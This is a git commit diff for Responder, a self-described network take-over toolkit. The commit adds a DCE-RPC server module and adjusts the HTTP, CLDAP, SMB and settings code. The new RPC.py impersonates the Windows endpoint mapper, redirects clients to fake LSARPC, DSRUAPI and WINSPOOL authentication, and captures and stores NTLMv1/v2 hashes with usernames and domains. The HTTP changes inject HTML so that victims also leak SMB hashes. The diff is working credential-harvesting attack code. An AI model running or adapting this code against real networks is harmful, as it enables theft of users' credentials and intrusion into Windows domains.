Added dce-rpc module + enhancements + bug fix.

This commit is contained in:
lgandx 2021-04-16 21:35:32 -03:00
parent 027e6b95c3
commit e91e37c974
10 changed files with 260 additions and 25 deletions

View file

@ -13,6 +13,7 @@ HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)

View file

@ -270,6 +270,11 @@ def main():
from servers.RDP import RDP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,)))
if settings.Config.DCERPC_On_Off:
from servers.RPC import RPCMap, RPCMapper
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 135, RPCMap,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, settings.Config.RPCPort, RPCMapper,)))
if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,)))

View file

@ -33,7 +33,7 @@ def ParseDNSType(data):
class DNS(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
# Ditch it if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None

View file

@ -222,7 +222,7 @@ def PacketSequence(data, client, Challenge):
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return NetworkSendBufferPython2or3(Buffer)
return Buffer
elif Basic_Auth:
ClearText_Auth = b64decode(''.join(Basic_Auth))
@ -248,7 +248,7 @@ def PacketSequence(data, client, Challenge):
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return NetworkSendBufferPython2or3(Buffer)
return Buffer
else:
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
@ -308,6 +308,6 @@ class HTTP(BaseRequestHandler):
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(NetworkSendBufferPython2or3(Buffer))
except socket.error:
except:
pass

View file

@ -25,9 +25,6 @@ import struct
import codecs
import random
def GenerateNetbiosName():
return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
def CalculateDNSName(name):
if isinstance(name, bytes):
name = name.decode('latin-1')
@ -41,7 +38,6 @@ def CalculateDNSName(name):
return Dnslen, DomainPrefix
def ParseCLDAPNetlogon(data):
#data = NetworkSendBufferPython2or3(data)
try:
Dns = data.find(b'DnsDomain')
if Dns is -1:
@ -66,21 +62,25 @@ def ParseCLDAPNetlogon(data):
def ParseSearch(data):
TID = data[8:9].decode('latin-1')
if re.search(b'Netlogon', data):
NbtName = GenerateNetbiosName()
NbtName = settings.Config.MachineName
TID = NetworkRecvBufferPython2or3(data[8:10])
if TID[1] == "\x63":
TID = "\x00"+TID[0]
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
t.calculate()
return str(t)
if re.search(b'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
if re.search(b'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
SSPIString = data[SSPIStart:]
@ -143,9 +143,10 @@ def ParseNTLM(data,client, Challenge):
def ParseCLDAPPacket(data, client, Challenge):
if data[1:2] == b'\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[10:11]
PacketLen = struct.unpack('>i',data[2:6])[0]
if Operation == b'\x84':
Operation = data[9:10]
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
@ -172,10 +173,11 @@ def ParseCLDAPPacket(data, client, Challenge):
elif Operation == b'\x63':
Buffer = ParseSearch(data)
print(text('[CLDAP] Sent CLDAP pong to %s.'% client))
return Buffer
elif settings.Config.Verbose:
print(text('[LDAP] Operation not supported'))
print(text('[CLDAP] Operation not supported'))
if data[5:6] == b'\x60':
UserLen = struct.unpack("<b",data[11:12])[0]
@ -183,7 +185,7 @@ def ParseCLDAPPacket(data, client, Challenge):
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
if settings.Config.Verbose:
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
print(text('[CLDAP] Attempting to parse an old simple Bind request.'))
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
@ -203,8 +205,6 @@ def ParseLDAPPacket(data, client, Challenge):
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == b'\x60':#Bind
if "ldap" in data:# No Kerberos
return False
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]

View file

@ -69,9 +69,11 @@ def PacketSequence(data, client, Challenge):
GrabUserAgent(data)
GrabCookie(data)
GrabHost(data)
return False
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
Buffer.calculate()
return Buffer
else:
return False
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
elif Basic_Auth:
GrabUserAgent(data)

214
servers/RPC.py Normal file
View file

@ -0,0 +1,214 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
import struct
import re
import ssl
import codecs
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1
MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
#for mapper
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1
def Chose3264x(packet):
if Map32 in packet:
return Map32
else:
return Map64
def FindNTLMOpcode(data):
SSPIStart = data.find(b'NTLMSSP')
if SSPIStart is -1:
return False
SSPIString = data[SSPIStart:]
return SSPIString[8:12]
def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
class RPCMap(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
self.request.settimeout(5)
Challenge = RandomChallenge()
if data[0:3] == b"\x05\x00\x0b":#Bind Req.
#More recent windows version can and will bind on port 135...Let's grab it.
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
self.request.close()
if NetworkSendBufferPython2or3(Map) in data:# Let's redirect to Mapper.
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00",CallID=NetworkRecvBufferPython2or3(data[12:16]))
if NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data: # Let's redirect to Mapper.
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if data[0:3] == b"\x05\x00\x00":#Mapper Response.
# DSRUAPI
if NetworkSendBufferPython2or3(DSRUAPI) in data:
x = RPCMapBindMapperAns()
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1))
self.request.close()
#LSARPC
if NetworkSendBufferPython2or3(LSARPC) in data:
x = RPCMapBindMapperAns(Tower1UID=LSARPC,Tower1Version="\x00\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1))
self.request.close()
#WINSPOOL
if NetworkSendBufferPython2or3(WINSPOOL) in data:
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1))
self.request.close()
#NetLogon
if NetworkSendBufferPython2or3(NETLOGON) in data:
self.request.close()
# For now, we don't want to establish a secure channel... we want NTLM.
#x = RPCMapBindMapperAns(Tower1UID=NETLOGON,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
#x.calculate()
#RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
#RPC.calculate()
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
#data = self.request.recv(1024)
#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
except Exception:
self.request.close()
pass
class RPCMapper(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(2048)
self.request.settimeout(3)
Challenge = RandomChallenge()
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
self.request.close()
except Exception:
self.request.close()
pass

View file

@ -265,7 +265,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
# STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data)))
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
else:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Body.calculate()
@ -279,7 +279,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS
if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty()
packet1 = str(Header)+str(Body)

View file

@ -14,7 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import utils, sys
import utils, sys, random
if (sys.version_info > (3, 0)):
import configparser as ConfigParser
else:
@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.0.4.0'
__version__ = 'Responder 3.0.5.0'
class Settings:
@ -96,6 +96,7 @@ class Settings:
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
# Db File
@ -159,6 +160,12 @@ class Settings:
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
#Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
self.DomainName = self.Domain + '.LOCAL'
self.MachineNego = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) +'$@'+self.DomainName
self.RPCPort = random.randrange(45000, 49999)
# Auto Ignore List
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))

View file

@ -386,6 +386,7 @@ def StartupMessage():
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
print('')
print(color("[+] ", 2, 1) + "HTTP Options:")
@ -420,4 +421,9 @@ def StartupMessage():
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
if len(settings.Config.DontRespondToName):
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
print('')
print(color("[+] ", 2, 1) + "Current Session Variables:")
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))